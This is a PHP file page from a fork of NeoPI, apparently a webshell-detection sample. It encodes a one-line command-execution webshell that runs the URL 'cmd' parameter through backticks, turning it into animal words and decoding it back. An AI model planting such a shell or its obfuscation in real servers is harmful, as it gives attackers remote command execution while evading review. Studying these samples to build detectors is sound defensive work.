forked from CiscoCXSecurity/NeoPI
-
Notifications
You must be signed in to change notification settings - Fork 0
/
animal_shell_encoder.php
97 lines (87 loc) · 1.7 KB
/
animal_shell_encoder.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
<?php
$dict = array(
"a" => "ardvark",
"b" => "bat",
"c" => "cat",
"d" => "dog",
"e" => "elk",
"f" => "frog",
"g" => "goat",
"h" => "hog",
"i" => "iguana",
"j" => "jackal",
"k" => "kiwi",
"l" => "lion",
"m" => "mole",
"n" => "newt",
"o" => "olm",
"p" => "pig",
"q" => "quail",
"r" => "rat",
"s" => "seal",
"t" => "tiger",
"u" => "vulture",
"v" => "wasp",
"x" => "xena",
"y" => "yak",
"z" => "zebra",
" " => "space",
"(" => "eats",
")" => "sleeps",
"." => "sneezes",
"[" => "pukes",
"]" => "kills",
"'" => "jumps",
"\"" => "rolls",
";" => "murders",
"=" => "dances",
"\$" => "sprints",
"{" => "giggles",
"}" => "poops",
"_" => "pees",
"<" => "falls",
">" => "vomits",
"?" => "coughs",
"`" => "tick"
);
$input = "if(isset(\$_GET['cmd'])){ echo `{\$_GET['cmd']}`; }";
function encode($string, $array) {
$output = array();
for ($c = 0; $c < strlen($string); $c++) {
$char = substr($string, $c, 1);
$upper = isUpper($char);
$char = strtolower($char);
if (isset($array[$char])) {
if ($upper) $output[] = strtoupper($array[$char]);
else $output[] = $array[$char];
} else {
$output[] = $char;
}
}
return implode(" ", $output);
}
function decode($string, $array) {
$output = "";
$words = explode(" ", $string);
foreach ($words as $word) {
$upper = isUpper($word);
$word = strtolower($word);
if ($key = array_search($word, $array)) {
if ($upper) $key = strtoupper($key);
$output = "{$output}{$key}";
} else {
$output = "{$output}{$word}";
}
}
return $output;
}
function isUpper($char) {
if (strtoupper($char) == $char) return true;
return false;
}
echo $output = encode($input, $dict);
echo "<br><br>";
echo decode($output, $dict);
$output = $input;
//print "<pre>" . $output . "</pre>";
?>